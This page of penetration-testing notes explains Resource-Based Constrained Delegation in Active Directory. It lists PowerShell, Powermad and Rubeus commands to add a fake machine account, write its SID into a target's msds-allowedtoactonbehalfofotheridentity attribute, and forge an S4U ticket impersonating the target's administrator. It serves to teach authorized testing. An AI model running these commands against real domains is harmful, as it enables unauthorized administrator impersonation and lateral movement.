Resource-Based Constraint Delegation is very similar to Constrained Delegation, except that the direction of the constraint is reversed. It specifies who is allowed to delegate to a service rather than who the service is allowed to delegate to. In other words, if Server A is allowed to delegate to Server B in Constrained Delegation, the constraint would be configured in an attribute of Server A. In RBCD, it would be configured in an attribute of Server B.

Another important difference between Constrained Delegation and RBCD is that Constrained Delegation specifies the SPN of the target service. In contrast, RBCD specifies the SID of the originating service in a Security Descriptor.

In order to perform the Resource Based Constraint Delegation we need the following informations:

<aside> ⚠️

Target machine must have the attribute msds-allowedtoactonbehalfofotheridentity empty! It is important to not corrupt the integrity of the targeted system/network. So if the attribute already has a value in it, that should urgently be noted and restored after exploitation attempts. Ref: https://www.r-tec.net/r-tec-blog-resource-based-constrained-delegation.html

</aside>

<aside> ⚠️

Target machine must have the target service reachable (check with test-netconnection or nmap!) and also must have the SPN listed in the SPN attribute in order to use Kerberos authentication.

</aside>

1. Test if target machine has the attribute empty or not:

   Get-NetComputer <target-machine> | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity
   

   

2. Create a machine account:

   Powermad:

   New-MachineAccount -MachineAccount <THE NEW NAME OF MACHINE ACCOUNT - RESPECT THE NAMING CONVENTION AND STAY SAFE!> -Password$(ConvertTo-SecureString '1NCjw824A8322' -AsPlainText -Force) -Verbose
   

3. Get SID of computer account created:

   Get-NetComputer <target-machine> | Select-Object -Property name, sid
   

4. Generate the raw security descriptor for the computer account (change <FAKE-COMPUTER-SID> with the corresponding value):

   $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<FAKE-COMPUTER-SID>)"$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)
   
   

5. Add raw security descriptor to attribute msds-allowedtoactonbehalfofotheridentity of target machine:

   Get-DomainComputer <target-machine>| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
   

6. Verify that SID is correctly written in the attribute msds-allowedtoactonbehalfofotheridentity:

   Get-NetComputer <target-machine> | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity
   

7. To prove that SID effectively written inside the attribute is of fake computer account created by us:

   (New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $SDBytes, 0).DiscretionaryAcl
   

   

8. Generate RC4 password hash of fake computer account created:

   Rubeus:

   Rubeus.exe hash /password:<password of computer account> /user:<fake-computer-account> /domain:<domain>
   

   

9. Request a Kerberos ticket for the fake computer account with the ability to impersonate the admin of target machine:

   .\\Rubeus.exe s4u /user:<fake-computer-account-name$> /rc4:<RC4 hash> /impersonateuser:<one of the possible admin of target machine> /msdsspn:WSMAN/<target machine> /ptt
   
   

Remove the machine account created when all is done 🧹:

<aside> 💡

Do the removal using the same credentials for adding or any other more privileged account

</aside>